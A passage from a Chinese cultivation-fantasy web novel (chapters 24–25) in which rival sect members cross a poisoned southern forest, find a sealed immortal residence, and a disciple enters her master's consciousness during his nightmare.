秋上尘起身,迅速看了一圈,有没有哪里被她们落下了。
很快,她的目光聚焦在一个小角落。
司意正靠在那,人显然还没醒。
秋上尘上前,靠得近些才发现,他靠的位置,竟被人精心打扫过!
细看这人面色苍白,相貌已经不能用俊美来形容,应用魅惑更贴切!
不知怎的,她想起了归舟,这两人总有种相似的感觉,好像都很……脆弱?
鬼使神差,她又往前走了一步,身后响起凤音绝的声音:“姑娘可检查完伤员了?”
秋上尘没有像做坏事被发现的那种窘迫感,反而是从容的起身回答:“就剩下这位,司副掌门了。”
凤音绝敛了笑容说:“姑娘,此人与你无关。”
秋上尘笑了一下,那笑容似是带着嘲讽。
“凤公子,这是怕我抢人吗?”
“姑娘一笑,倾国倾城,自是怕的。”凤音绝那张常含笑容的脸上没了笑,像是真的怕她抢了人。
秋上尘看了一眼司意:“凤公子,他的灵力若是不封,便会一直承受威压,时间久些,会受不住的。”
凤音绝闻言并没有立刻行动:“既如此,是在下误会了姑娘。”那张脸上又重新浮现了笑容:“姑娘不只是来查伤这么简单吧?”
“凤公子从域外来到中原,是做什么呢?”
两人一前一后接连问出,而后又都笑了。
秋上尘又道:“凤公子要这宝物,做什么?”
凤音绝看着她说:“姑娘修为,不止结丹吧?”
两人一时僵持不下。
“有时候我认为,咱们挺像的。”凤音绝看着秋上尘,试图从她眼中看到什么。
但是很可惜,秋上尘也用同样的眼神在看他。
“这样吧,你我各退一步,方才你我各问出一个问题,咱们在其中各挑一个回答,如何?”凤音绝问。
秋上尘点头,随后说:“我确实不是结丹初期,是结丹大圆满。”
见秋上尘如此爽快的就回答了问题,虽然是个无关紧要的,但是总不能食言吧?
凤音绝斟酌了一下说:“我来中原嘛,自是想让风月听潺成为中原四大名门之一。不过现在,我觉得也可以是中原五大名门之一。”
秋上尘听后饶有兴趣的问:“究竟是什么原因,让凤公子改变了原来的想法?又是为什么让你选择了四大名门之一的乐舞升平?”
凤音绝像是听到了什么有趣的事情,他蹲下,将司意散落在脸上的碎发整理好,挂在耳朵后面。
“让你两个问题也不是不行。”他点了司意几个穴道,封了他的修为,看着司意的脸色好了一点之后,他才开口:“因为听说,乐舞升平,盛产美人啊!”
秋上尘:……
若不是这人就在她面前,她不能光明正大的翻白眼,只怕现在她的白眼已经要翻到天上去了。
“怎么,我怜香惜玉,不行吗?”凤音绝一脸无辜道。
秋上尘冷笑一声:“凤公子,好风情。”
然后果断甩袖离开,她觉得这人的脑子,比归舟还有病。
在她走了之后,凤音绝回头看见司意的额角,有被威压折磨出的一层薄汗,他伸手擦去。只是在看向司意的眼神中,混入了一丝狠厉,但擦拭的动作依旧轻柔。
秋上尘回到梅韵荼身旁,看见她竟真的在救治这些人,给每个人都喂了一颗丹药。
“梅姑娘,这药你给了他们,若是受伤,自己用什么?”秋上尘问道。
梅韵荼难得露出如此温柔的一面,等喂完药后,她才回答:“我受了伤,一时半会死不了,但是这些人再不救治,就真死了。”
秋上尘看她的神情不似作假,她很久没有见过这样的人了。
她见到的要么是教她杀人的人,要么是虚假的好人,这样的人,她真的很久没有见到了。
或许,日后遇到什么,她不该死,好人应有好报。
……
“师兄,这里有好多打斗的痕迹!”
归舟神色凝重的顺着归寂的声音看去。
林子里到处是星星点点的血迹,破碎的布料、断剑,被砍断的树枝,还有一把断了的琵琶?
“乐舞升平的人还真来了。”归寂说:“他们的人,我还没见过呢!”
归舟拿起那把断了的琵琶,沉默了一会儿,随后像是自言自语般说:“这是,碎月银?”
“碎月银?”归寂:“听说乐舞升平的副掌门,弹的那是一手好琵琶,一曲落水人间,便是由她所作,现在成了镇派之曲,她的琵琶,若我没记错,就叫这个吧?”
归舟的脸色更不好了:“这位副掌门名唤司意,按门内情报,这人至少是元婴后期。”
“司意?听上去不像是个女子的名字啊。”归寂奇道。
归舟:……
“人家是男的。”
归寂:“哦哦,哈哈。”
“好了,现在可不是笑的时候。”归舟颇为无奈。
归寂闻言确实笑不出来了,刚才归舟提到司意的意思是:这元婴后期修士的武器都已经断了,秋上尘和梅韵荼所遇到的麻烦,很难办。
“这里有鬼藤种植的痕迹,魔宫的人也来了。”归舟掀起一处灌木的叶子,看见了下面的痕迹。
归寂捂脸,欲哭无泪:“这么巧的吗?”
“现在没有她们的物品,目前应该没有出事,况且我给了她一道护体禁制,能挡住致命一击。”归舟虽竭力保持平静,但他的语气,还是克制不住的带上了急切的意味。
“师兄,我就说你修为怎会透支到需要靠药来维持,你竟然……”归寂的语气中带了怒意。
归舟只是淡淡解释道:“师弟,她是我徒弟,来这么危险的地方,当然需要保障。”
归寂此时此刻终于理解,当年师姐为什么会那么生气了,他也要被气死了。
“她一个外人,至于你这样?”他猛吸一口气,试图压下怒意,很显然并没有成功:“你若是出了事,辰秋落怎么办?”<
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归舟不语。
归寂一拳打在了棉花上,一种无力感油然而生。
“辰秋落有你们,我放心。”
归寂气得将头转过去,再看向他时,眼中竟含了泪。
“两年前,我说,我们之间不能再少任何一个人了,师兄你还记得吗?”
“我没事,你放心吧。至少现在,我不会有事。”归舟的鼻子也有了酸涩感。
或许当时,不该将她救上去,就不会有这么多事了。
“走吧,她们现在若是无碍,想必也受制于人,周围没有她们的灵力痕迹,应是没有用灵力,得再快些。”归舟说完,顺手将断裂的碎月银收进储物戒。
归寂将泪收回去,眼睛却看向了别去,胡乱点了点头,径自朝前走去。
归舟欲言又止,说到底,他两边都亏欠。
……
“两位姑娘,要走了哦!”凤音绝带笑的声音又传到了两人耳中。
秋上尘已经认定这人就是个疯子了,她懒得多说,起身跟上去。
梅韵荼合理觉得凤音绝是个选择性面瘫,每天睁眼就是那么一个表情,真是白瞎一张好脸,跟之前那个“柔弱不能自理”的人简直判若两人。
还是个戏精!
要说之前,他脸上还能有点别的表情,现在天天除了笑就是笑,关键是那笑还怪渗人的。
鬼啊!
啧啧啧,人不可貌相!
正想着,凤音绝一个回头,梅韵荼立刻停止了思考,快步走到了秋上尘身边。
秋上尘轻轻拍了拍梅韵荼的手,在凤音绝看来,是在安慰她,但他不知道的是,秋上尘低声说了一句:“那卷轴跟他有关系。”
梅韵荼借势向秋上尘怀里靠了靠,低声问:“你确定吗?”
秋上尘“嗯”了一声:“可能就在司意身上,他刚才没让我检查他。”
梅韵荼微微点了点头随后说:“秋姑娘,这地方真是太吓人了,你可得好好保护我~”说完还对着秋上尘笑着眨了一下左眼。
秋上尘:……
“……”
“你醒了?”
司意浑身酸痛,呼吸间夹杂着浓重的血腥味,耳膜嗡嗡作响,只觉得身侧有人说话,但是听不清楚。
他艰难的睁开眼,发现自己正靠在凤音绝身上,想要起来,但是刚一动,就疼的他倒抽了一口凉气。
“好了,别逞强,靠着呗。”
要不是他刚醒没力气,此刻应该已经一掌呼上去了。
司意翻了个白眼,暗暗使力想用灵力,结果发现灵力被封了。
他怒道:“我灵力呢?”尽管声音虚弱,但是听得出来很生气。
“别急阿意,先喝口水。”凤音绝递上一袋水。
司意一把推开:“我琵琶呢?”
凤音绝见他不接,将那袋水又收了起来,没有理他。
“我的人呢?”司意一句接着一句的质问他。
见司意又挣扎起来,凤音绝毫无压力的将他的双手按住,然后用麻绳捆起来,看着满意了才说:“你坏了我的好事,还问这么多问题,不想死就别说话。”
司意冷笑道:“我要是怕死,就不来这了,回答我!”
凤音绝笑着说:“你指哪个问题?”
司意要被他气死了,刚要开口,又被凤音绝的声音堵住了嘴。
“你只能问一个哦!”
司意怒极反笑:“行,好,我琵琶呢?”
凤音绝“嗯”了一声,带着歉意的说:“断了。”
司意点点头:“我知道,我问你在哪。”
凤音绝无辜道:“那既然断了,你觉得会在哪呢?”
司意抬手就要打,无奈双手被捆着,刚一动,就被禁锢住了。
这很明显告诉他,那琵琶就扔在打斗的地方了,没用的东西,自然不该带上路。
“那我是不是还得谢谢你?我有用,所以把我带上了?”司意瞪着凤音绝说。
凤音绝“嗯”了一声说:“不客气。”
司意翻了个白眼,闭上眼睛。
这人有病。
当时怎么就挑中这个人了呢?
“不是你挑中的,是我选的你。”
司意将眼睛睁开,没好气的说:“你居然给我施咒!”
凤音绝笑了笑:“咱俩心意互通,怎能说是我给你施咒呢?”
司意:……有病
秋上尘两人坐在不远处看着他们,然后互相看了对方一眼。
心道:有病!
24. 仙府
南境深山的环境显然不如初入此地时优美,树冠遮天蔽日,甚至分辨不清昼夜与阴晴。
各种奇形怪状的虫子和植物,毫无保留的出现在众人眼前。不同动物的骸骨散落满地,空气中弥漫着一股极度令人作呕的气味。
不少乐舞升平的人忍不住干呕起来,令人惊奇的是,风月听潺的人竟也有类似的症状,但是五毒门弟子并没有。
梅韵荼虽未有什么明显的表现,但也时不时掩面轻咳。
“啊!!!”
人群中发出一声尖叫,给这本就诡异的环境笼上了一层更加可怖的气息。
一座尸山赫然出现在众人眼前!
无数的骸骨堆积在此,各种恶心的虫子趴伏在森森白骨之上。方才那股令人作呕的气味,多数都是它的功劳。
因年代久远,已然分不清这些究竟是人还是动物。
梅韵荼的眉头在见到这座尸山的瞬间就皱了起来,捂着前胸顺气,似是怕自己真的忍不住作呕。
不少人已经不是干呕了,更有甚者已经吐到不能站立。
秋上尘见到真容后,只是露出了嫌恶的表情,从怀中掏出一方巾帕,掩上面后,就再无其他反应了。
她有什么好嫌弃的?她就是从尸山血海中走出来的。
这样的场面见多了。
“叫什么?”后面传来了凤音绝带着怒意的声音。
看着面前东倒西歪的众人,凤音绝的脸色一下就黑了下来。
一个反应没那么严重的风月听潺弟子瘸着腿快步走到凤音绝身侧解释道:“掌门,这里实在是……不少人撑不住了,不止是他们的人,还有咱们的……这样根本走不过去。”
凤音绝少见地露出一副轻蔑的神情,缓缓开口说:“走不过去的,就是没用的,没用的东西,有存在的必要吗?”
秋上尘不得不承认,凤音绝这句话,说的挺有道理的,至少在她看来,有道理。
凤音绝敏锐的捕捉到秋上尘脸上一闪而过的赞同与欣赏之意,低头附在秋上尘耳边笑道:“我早说过,咱们很像,根本就是一路人。”说完用一种很得意的神情看着她。
秋上尘闻言甚至没有发出任何声音。
“能走的走,不能走的留在此处,自生自灭!”留下这句话后,凤音绝转身就走,将手中的绳子一拉,司意迫不得已踉跄着跟在他身后。
秋上尘:……
梅韵荼:???小情侣,玩真花…
“哦对,你们二位姑娘跟着点,别跟丢了。”凤音绝停下脚步微微偏头说。
“那看来,我们三人是对凤公子有用的人啊。”秋上尘装作吃惊的样子说。
凤音绝转头看见的就是秋上尘一张纯真无邪的笑脸。
看见这幅面容,凤音绝心中顿时升起了一股三丈无名火,而后被自己压了下去。
然后用同样的表情看着秋上尘回答:“那自然,三位可是我风月听潺的座上宾。”
梅韵荼本就不喜欢强迫别人做事,现在看见司意这幅样子,忍不住说道:“既是座上宾,那可否请凤公子放开这位司公子?”
秋上尘在旁边幽幽的来了一句:“我,怜香惜玉~”
凤音绝闻言右眼猛地一跳,他现在觉得这人就是专门来治自己的,没苦硬吃在这一刻具象化了。
“那可不行,这人没你们听话,放开他、会跑的。”凤音绝说这句话时,一直盯着司意那张魅惑至极的脸。
司意不屑与他说话,翻过一个白眼之后,就将头转向了别处。
凤音绝好像很喜欢看司意生气,见到司意生气,他就很……爽?
秋上尘看着他一脸享受的表情,她再次赞同凤音绝说的那句“我们根本就是一路人”,她感觉自己甚至可以猜到凤音绝心中在想些什么。
身旁的梅韵荼见秋上尘一直没有反应,但是众人已经走出了一段距离,她轻轻拍拍秋上尘的肩膀:“秋姑娘,再不走,就跟丢了,到时候可不好办。”
……
“呕”
归寂扶着一棵树,止不住的犯恶心。
自从他踏进这地方之后,一股恶臭就钻入了他的鼻子,让他不停的想吐,但又吐不出来。
归舟从旁边的树后走出来,手里拿了一只橘子,递给他说:“在附近找到的,闻闻或许能缓解些,先将就一下。”
儿时的训练残酷,尸骨见多了,归舟倒是没什么感觉,只是归寂并没有过那种训练,这样的场面应是第一次见。
归寂的手因难受而轻微颤抖,他艰难的接过橘子,闻了好几口,总算缓过劲来了。
在转过几道弯之后,二人见到了恶臭的源头——那座尸山。
归寂刚好了一点,这下实在是忍不住了。
归舟也没有见过这么高、这么多的尸骸,他滞了一瞬,而后发现周围几棵树旁,也有呕吐痕迹。
他眼中一亮,到归寂身边说:“这些痕迹还未干,她们就在前面,咱们追上了!”
归寂冲他摆了摆手:“师兄,我不行了,我…我可能过不去了,这…这太呕……”
归舟见他根本直不起身子,也没再多说什么,从怀中取出一瓶丹药,拿出来一粒喂给他,又将归寂的双手分别搭在自己肩上,顺势下蹲,将他背了起来。
归寂吐的头晕眼花,只觉得天旋地转,但他还能意识到是归舟在背着他前进,他挣扎着要下来。
不过他现在也没什么力气,那点动静还不足以挣脱开归舟。
“师兄,不行,你,你身上,还有伤。”归寂的声音都变得虚弱起来。
归舟见状也轻声的说:“别动,别看,闭上眼睛休息。”
归寂闭上眼睛后,意识变得昏昏沉沉,感觉自己好像睡着了,他本不想拖累师兄,但还是没做到。
等他再次清醒的时候,他感觉自己已经从归舟背上下来了,但一时不确定自己身在何处。
想抬手,刚一动,耳边就传来了归舟的声音:“你醒了?”
归寂微微点头。
他听见归舟舒了口气:“你没事就好,我们已经追上了。”
听到后面三个字的时候,归寂感觉自己一下子就清醒了。
他睁眼发现自己正半靠在树干上,身旁的归舟半跪在地上,探头朝前看着什么。
归寂缓了缓,用同样的姿势朝前看去。
前面一小块空地上,四大名门的人聚在一起,只不过这些人与方才的归寂一样,萎靡不振。
“没有她们。”归舟说:“我已经观察一会儿了,一直没见到她们。”
归寂看着不远处那群人的状况,想了想问道:“师兄,这些人,你看着可像中了毒?”
归舟闻言,顿了一下,点点头说:“还真是有些像。”
“你方才给我吃的可是师姐的丹药?”归寂说完像是想到了什么,看着归舟没说话。
这样的眼神看着自己,归舟觉得很奇怪,但很快他好像也意识到了什么:这毒如此厉害,自己居然没事!
果然,归寂问道:“师兄,那药你吃了吗?”
归舟怕他深究“嗯”了一声,说:“我吃过了,想必是那尸骨有问题,或许这林子里有些别的东西。”
归寂刚要说什么,但是眼前出现的人,让他一时忘了说话。
梅韵荼和秋上尘两人从林子的那头走出来,身后跟着凤音绝和司意。
“师兄!”归寂尽量压低声音。
归舟一把捂住了归寂的嘴,警惕的看向秋上尘身后的男子——凤音绝。
然后低声对归寂说:“上尘身后的那人,修为我看不透,至少是化身中期。”
归寂听后满眼震惊,活的化神他还没见过呢!
归舟指着凤音绝身边的人说:“按门内情报来看,那人就是乐舞升平副掌门,司意。”
归寂看着被紧捆着双手、一脸怒容的司意感叹:“这人,竟比女人还……美?”
归舟闻言:……
“那修为也比你厉害。”
归寂的沉默,震耳欲聋。
果然,人不可貌相。
……
早些时候,南境深山。
秋上尘两人跟着凤音绝来到了一处相对平整的地方,那些病了的人终于可以暂时休整一下。
凤音绝来到秋上尘身边轻声问:“前面有东西,咱们提前去看看如何?”
秋上尘用一种警惕的眼神看着他:“正常点,化神后期离我这么近,我害怕。”
嘴上说着害怕,但是事实上,凤音绝并没有从她的眼神中看出半分害怕的意思。
“去不去吧,一句话的事。”凤音绝在她面前也懒得装了。
秋上尘看他破罐子破摔的样子,不禁觉得很好笑:“去,当然去。”
凤音绝笑道:“那走吧,二位。”
梅韵荼:???我怎么也要去?
梅韵荼突然觉得自己很命苦。
司意同情地看了她一眼,然后被凤音绝毫不留情的拽走了。
秋上尘并不急着往前走,只等凤音绝一脸无奈的拽着司意走在最前面。
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>凤音绝早就知道秋上尘不会打头阵,无妨,遇到危险时,化神期想跑还是很容易的。
越往深处走,林子中的雾气越大,几人若是不离得近一些,几丈之外,就看不见人了。
四人就这样被迫走到一起。
“这是,阵法。”梅韵荼自言自语道。
凤音绝偏头看着梅韵荼说:“解灵宗的弟子,对于阵法应该很熟悉吧?”
梅韵荼难以置信的看向他。
“别这么看着我,知道你们的身份并不难。你是辰秋落弟子,对吧?”凤音绝后一句话,是看着秋上尘说的。
秋上尘只是冲着凤音绝笑了笑,没有答应,也没有否认。
梅韵荼点点头说:“原来,你非要带上我们,是因为我们各自擅长的东西不一样。那我猜,这林子里,应有四种不同的阵法。”
凤音绝笑道:“不愧是解灵宗现任掌门人,梅姑娘的脑子还是跟得上的。”
秋上尘转头看向梅韵荼,她确实没想到梅韵荼是解灵宗掌门。
梅韵荼没再说话,因为这人已经将她的底细扒完了。
“不过,这位姑娘。”凤音绝看着秋上尘说:“你修习法术时间,尚不超过一载吧?”
秋上尘没有说话,但却用眼神默许了这句话。
梅韵荼再次用一种难以置信的表情看向秋上尘,她震惊的说:“秋姑娘,你结丹大圆满?修习时间不到一年?这几个词是可以连在一起用的吗?”
秋上尘安慰道:“其实,我只修习了半年多。”
梅韵荼再次目瞪口呆,有苦难言。
“我,自认为天资已经很不错了,我今年二十有五,自十岁起开始修习,至今修习十五载,才到达半步化神。你只用了我不到十分之一的时间,就……”
梅韵荼在今天体会到了有生以来最严重的挫败感。
司意本不将秋上尘这个结丹放在眼中,但是听秋上尘说自己只修习了不到一年之后,他的目光就从不屑变为了欣赏。
他与梅韵荼一样,修习了十余载,现在的境界与梅韵荼相同,这让他不得不佩服眼前这位年轻的姑娘。
凤音绝只是“嗯”了一声:“那很有天赋了。”
“所以,你调查了四大名门中所有的人,把当中最有天赋的都挑出来,司意公子和梅姑娘,就是你精心挑选出来的。然而五毒门没有人,是因为毒术你略通。至于我,你一开始的打算是辰秋落掌门吧?不过,要想让他出来很难,所以你让南境产生异象,这样辰秋落就会派出最强的弟子,可你没想到,辰秋落派出来的人是我,一个结丹期弟子。”秋上尘分析道。
凤音绝淡淡的说:“嗯,秋姑娘是吧?我的确调查了四大名门的所有人,看见你的时候,我挺意外的,因为名单里没有你。你刚才猜对了一大半,不过有一点不对,我怎么可能有能力让南境产生异象,南境是真的有宝物。”
就在几人谈论间,梅韵荼已经找到了破阵的关键,因为不能用灵力,梅韵荼只好带着他们绕了出去。
待雾气散去后,林子露出来了本来的面貌。
这里的树,至少有百年之久,甚至还有千年古树。
在他们面前的还有一座石门,上面却什么也没写。
几人缓步走入其中,石门之内,看见的却是另一番景观。
脚下是白玉铺就的道路,两旁流淌的不是普通的河水,而是带有灵气的灵泉。满园的奇木灵兽,将这宁静的院子衬得有了些许生机。不远处的凉亭中还摆着仙果与仙酿……
尘世的喧嚣被那层层的阵法隔绝在外,仿佛这里真的是一处仙人之所。
往前走,四人看见一座简陋的小屋,刚要再靠近些,就被一股无形的力量推到了石门之外。
四人一时间不知所措,竟有默契的转身一齐回去了。
回到那群人休息的地方,四人并没有察觉到任何细微的变化,全都沉浸在刚才的奇遇中。
“方才那个……”梅韵荼刚说了几个字就不说了。
秋上尘神色凝重的说:“那,是个仙府。”
“这南境,是有人刻意用结界、毒气、禁兽等东西保护起来的。”秋上尘忽然想到了什么:“但是,他们费这么大劲,保护什么呢?整这么复杂。”
凤音绝也不管她们是否同意自己加入交流,就直接说:“若不是保护呢?”
秋上尘顿时明白了什么:“这是囚禁!”
“可囚禁了什么呢?”梅韵荼追问。
凤音绝笑着说:“你觉得仙府,能囚禁着什么呢?”
25. 梦魇
司意在旁边说:“无非是罪仙什么的罢了。”
“呦,肯说话啦?”凤音绝饶有兴趣的转头看向司意。
司意那双凤眼似有魅惑性,特别是在看人的时候,现在这双媚眼在白过凤音绝之后,就看向别处去了。
秋上尘:……
梅韵荼:……
秋上尘有点受不了他们俩之间这种微妙的气氛,她感觉自己现在正在两人中间发亮,于是很识趣的走到一旁,坐下。
“凤公子,今日先休息吧,大家都累了,那仙府就在前面,明日状态好些再探,如何?”梅韵荼毕竟是一派掌门,既然凤音绝已经点破了她的身份,这基本的礼数还是要有的。
见梅韵荼这么说,凤音绝也不好回绝,只简单的“嗯”了一声。
梅韵荼并没有走到秋上尘的旁边,自从今日知道了一些事之后,让她们本就不多的共同语言更是雪上加霜。
秋上尘也多少看出来了她的不自在,她倒也不在乎,以她对封浊的了解,魔宫日后必不会放过中原四派。她也不觉得可惜,这些修者大多数自以为是,死不足惜,但……她还是看向了梅韵荼,脑海中又闪过了辰秋落的几人。
她猛掐一下自己的大腿,那辰秋落里人人皆是杀手,手上都沾过鲜血,辰秋落才是最应该除去的!
怎么学了几日术法,反倒对那里的人仁慈起来了?
秋上尘阖眼平息。
一阵风吹过,尸臭混杂着泥土的味道再度袭来,不少人又开始了干呕,秋上尘却骤然睁开眼,看向了不远处的一棵树后。
她闻到了一股熟悉的味道。
尽管那味道很淡很淡。
这味道,据她所知,目前只有一人,那就是她的好师尊——归舟。
她不动声色的想,这人来干什么?
秋上尘发现归舟就在附近这件事情之后,并没有任何动作,表面上还是那副淡漠疏离的模样。
她并不想招惹那位化神期的神经病,现在,那人原本想要的人选来了,她既不想暴露身份,也不想让归舟取代她,不动倒是成了最明智的选择。
想到这,秋上尘又把眼睛闭上了,现在不休息,再晚些,可就休息不了了。
“她发现了。”
归寂听见归舟的话后一头雾水:“谁?发现了什么?”
“上尘”归舟说:“她发现我了,但我不确定她有没有发现你。”
归寂颇为震惊:“咱啥也没动吧?她咋知道的?”
本来是很好的问题,但很显然,归舟没有听见,因为归寂听他说:“这样,你别轻举妄动,我找合适的时机去找她,问问情况。”
归寂只好压下疑惑说:“师兄,你自己小心点,那人可是化神。”
归舟“嗯”了一声。
秋上尘知道归舟一定会来找她,她特意找了一个很偏僻的位置,她也想知道,归舟来这做什么。
她已经闭上眼睛等很久了,久到她觉得天是不是快要亮了的错觉。
归舟还没来。
秋上尘睁开眼,抬头一看,很好,天还很黑。
她又把眼睛闭上了。
刚闭上,就觉得身旁有轻微的响动,接着她闻见了那淡淡的气味,随后归舟熟悉的声音传入耳中:“上尘,你可有事?”
秋上尘再睁开眼时,换上了一副久别重逢、欣喜若狂的眼神,她竭力压下嗓音中的激动,颤抖着声音说:“师尊,真的是你!我以为我看错了!”
归舟见她无事,心中的巨石总算是落了地,小声问:“你们这是什么情况?”
秋上尘也小声回答:“师尊,我长话短说,那个凤音绝是域外风月听潺之主,化神后期修为。乐舞升平的司副掌门和五毒门弟子,就是被他的人所伤,我与解灵宗掌门梅韵荼躲在一旁被发现后,与他结盟来此。还有,那不远处,是一处仙府。”秋上尘说完抬起右手食指往左边指了指。
她在思考,要不要将卷轴之事告知归舟,就听归舟问道:“这期间,你没用灵力?”
秋上尘被这个莫名其妙的问题问的一愣,这地方不是不能随便动用灵力吗?难不成他不知道?
随后说:“没有啊师尊,这里威压多大呀,我若是用了,可就坚持不到这里了,还怎么完成门派任务呢?”
“那,那次的灵力波动…”归舟小声嘀咕道。
他像是想到了什么,问道:“你可用了储物戒中的法器?”
秋上尘点头说:“用了,用的是那个小罗盘,不过没有用灵力,用的是血。”
归舟:“怪不得,这就对了。那罗盘是我做的,有两用,不仅能找宝物所在,还能找到主人方位。找宝物需用天地灵气引导,也就是晨露,找人才用血,只不过我先前并未使用过这找人的功能。”可能是因为许久未见,归舟说的话也比平日多了。
不过秋上尘没有意识到这一点,因为并不重要。她此刻一个恍然大明白,原来那日罗盘突然指向身后,是因为他的主人在那个方位。
秋上尘颇为无语,这东西还挺认主……
“师尊”秋上尘继续装出一副绝世好徒弟的模样,她决定要将卷轴之事告知归舟,此举自然没安什么好心,这东西多一个人找,便多了一份竞争力,但是自己的危险也就少了一分,大不了到时候抢嘛。
“那日进入南境时,梅姑娘说,笼罩在南境上空的那道结界是上古禁制,但乐舞升平和五毒门的人不是解禁进入的,是用一副卷轴进去的,梅姑娘曾在域外见过一副画卷,这卷轴与画卷,同宗同源。”
归舟闻言没有说话,他也从未听过有这样的东西。
见归舟不答话,秋上尘又说:“师尊,天快亮了,有什么事,不如明日找机会再说吧。”
归舟这时才想起归寂的话,赶紧对秋上尘说:“这林子里有毒,那些人不是娇惯,是中了毒。”说着他从怀中又拿出来那个小瓶子,倒出一粒递给她说:“吃下它,可以解毒。”
秋上尘接过后,并没有吃下去,她还是不信归舟。
装模作样的放进嘴里咽下,实则在抬起胳膊的瞬间,药就已经被她顺着胳膊藏进了袖子里。
至于自己为什么没有中毒,那还真是多亏了封浊每个月给她的那颗“补药”,如今正好以毒攻毒。
这解药,还是留着给梅韵荼吧!
她见归舟要走,又叫住他说:“师尊,毒源可查清了?”
归舟也并不确定是不是那堆尸骨所引起的小型瘟疫,就没有回答。
秋上尘见状说:“毒源,我或许有个猜测,就是那堆尸骨散发出来的气味,只单是骸骨并不会有毒,许是有什么上古妖兽吃过后,沾有的唾液带毒所致。”
“师尊,多加小心。”
归舟点了点头,闪身躲进了灌木。
确保归舟走了之后,秋上尘的唇边露出一抹似有似无的微笑,她方才上演了一副师徒情深的戏码,这半月不演,倒是愈发想念了。
相比于知道归舟为什么来南境,她现在更想知道归舟知晓真相时的那副表情,光是想想都觉得有趣。
……
归舟悄默声的回到归寂身边,归寂没有乱动,却也没有歇下,见他回来了,同样小声问:“她们那边什么情况?”
“早些时候咱们见到的那个人是化神后期,上尘和梅姑娘暂时不会有危险,那前面有个仙府。对了,你去过域外,可听过风月听潺?”归舟正说着想到了一个问题。
归寂摇摇头:“我去域外可不是自愿去的,而且去了就是被关着,根本没有机会见外面,后来遇到梅姐姐,她又让我修炼,也没时间出去,之后没过多久就回中原了。”
“那这门派究竟是为什么这么厉害……”
归寂:“你这么一说,我倒是想起来了,当时我被人抓走过,那伙人很奇怪,专挑会法术、但是法术不怎么好的修者抓。”
归舟似是明白了什么,低声说:“先别想了,先休息吧。”
“师兄,你休息我看着,你好几日未合眼了,我至少还……”说到后面,归寂都有点不好意思继续说了。
归舟浅笑了一下:“好,有事叫我。”
归舟确实好几日没有休息了,自从看见林子里的打斗痕迹之后,他们就没再停下。
他半倚在树旁,很快便入了梦。
只是这梦境,似曾相识。
还是一个温柔的声音在耳旁告诉自己“不要怕”,一个浑身是血的男人被团团围住。
归舟感觉有一阵力量将自己掀了出去,这力量强悍,若非被人护着,只怕他已经死了。
他抬头时看见了一样东西。
树林的尽头隐约有着一个石门!
他想再往前些,却发现自己迈不动步子。
回头的那一刻,他的身子僵住了。
他清晰的听见了自己呼吸的声音、心跳的声音,场面的血腥让他一度忘了喊叫——刚才那个浑身是血被团团围住的男人已经死了,但是围住他的那群人,也死了。
一直告诉他“不要怕”的女子,正死死抱住自己的身体,也已经停止了呼吸。
刚才还满是嘈杂的周围,现在却安静的可怕。满地的尸体,鲜红的颜色占据了他的眼睛,直到有一具尸体从树干滑落,发出声响,惊的他身躯一震,精神上的反应这才跟
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上。
空气中令人作呕的味道灌进他的鼻腔,因恐惧而产生的寒意从骨头缝里钻出来,蔓延至四肢百骸。
林子深处传来了阵阵低吼,归舟趴在地上,不知是有妖兽还是他的内心作祟,地面骤然开始颤抖,巨大的恐惧感如海啸般袭来,淹没了他残存的意识。
“师兄师兄!你醒醒!”
归寂本来正全神贯注的看着前面的状况,突然听见身旁归舟在梦中呢喃,他赶紧去看。
竟看见归舟的眼角有泪痕,还没等他反应过来,归舟紧接着就开始浑身抽搐,呼吸也急促起来,汗从额角滑落,面色苍白如纸,嘴唇也失了血色。
归寂吓了一跳,这是什么情况?!
他赶紧想要叫醒归舟,但是怎么叫都叫不醒,情急之下,他溜到了秋上尘身旁。
“师侄,你快跟我过来。”
秋上尘虽然没有睡着,但是也被归寂突然冒出来的一句话吓到了。
“四师叔?”秋上尘看见面前人长相的时候奇道:“你怎么在这?”
归寂急得要命,也不管秋上尘说了什么,拉着她就往灌木里拽。
秋上尘:?……
她一头雾水、稀里糊涂的就被拽了过来,心里的怒意刚要爆发,就看见半靠在树上,不停抽搐、面色苍白的归舟。
秋上尘吃了一惊,刚才不还好好的吗?这是怎么了?
“怎么回事?”秋上尘问道。
归寂尽力压住焦急的声音说:“他很久没休息了,所以我让他休息一会儿,这还没休息多长时间,就变成这样了。”
秋上尘说:“师叔,你先看着点前面,我进他识海看看。”
归寂点点头说:“你记住,千万别用灵力。”
秋上尘“嗯”了一声,心道,我还不至于为了他,把自己的命搭上。
她半跪在归舟身侧,低头将自己的额头贴在归舟的额头上。
探识海有两种办法,第一种是用法术探入眉心,这种一般是探查陌生人是否隐藏了气息,需要用到灵力,且可以一击杀死对方;第二种就是双方很熟悉,愿意为对方打开识海空间,这种不需要灵力,但需要双方彼此信任,卸下防备。
秋上尘深呼吸,做了一下心里建设,她实在是不太想对归舟卸下防备。
但是归寂就在这,她也不能露馅。
终于,在她下定决心贴上的那一刻,她成功进入了归舟的识海。
她看见归舟的识海不是那种传统、单一的样子,里面竟有个院子!
那院子被各种花树包围,倒像个……世外桃源?
秋上尘奇怪,别人的识海不是高山,就是大河,多少都有点雄霸的气势在,怎么这人…不太一样呢?
难不成他一点雄心壮志都没有?
她带着好奇心走进那院子,进到院中,她看见了一个小男孩。
那小孩长得很是可爱,见到有陌生人进来,也没有大喊大叫,而是安静的走过来,礼貌问道:“姐姐?你是谁呀?”
秋上尘见这小孩长得熟悉,于是反问道:“你又是谁?”
本以为会是熟悉的答案,却没想到那小孩摇了摇头说:“我不知道。”
秋上尘气笑了,她说:“你这小孩不诚实啊!在这呆了这么久,说不知道自己是谁,你觉得我信吗?”
小孩没有生气,也没有改口,回答道:“姐姐,你别生气,我是真的不知道。自我有记忆开始,我就一直在这里,没有人进来,我也出不去。”小孩的眼神澄澈,不像是说谎的样子,语气也带着些委屈,好像是被人冤枉了。
秋上尘听后隐隐觉得不对,她猛地回头朝空中看去,只见识海的上空悬着一个巨大的禁制!
禁制连带着这里的一切花草树木都笼罩在里面。
怪不得这小孩说出不去,也没有人能进来,还真没说谎。
她更加确定,这小孩就是归舟小时候。
可究竟是谁给他设了一个如此复杂的禁制?
是要封锁什么东西吗?
她感觉有人在拽她的裙角,低头一看,愣住了。
刚才还干干净净的小男孩,此时此刻浑身是血,眼睛血红,正趴在地上,见她要走,小男孩艰难的爬了几下,拽住了秋上尘的衣角。
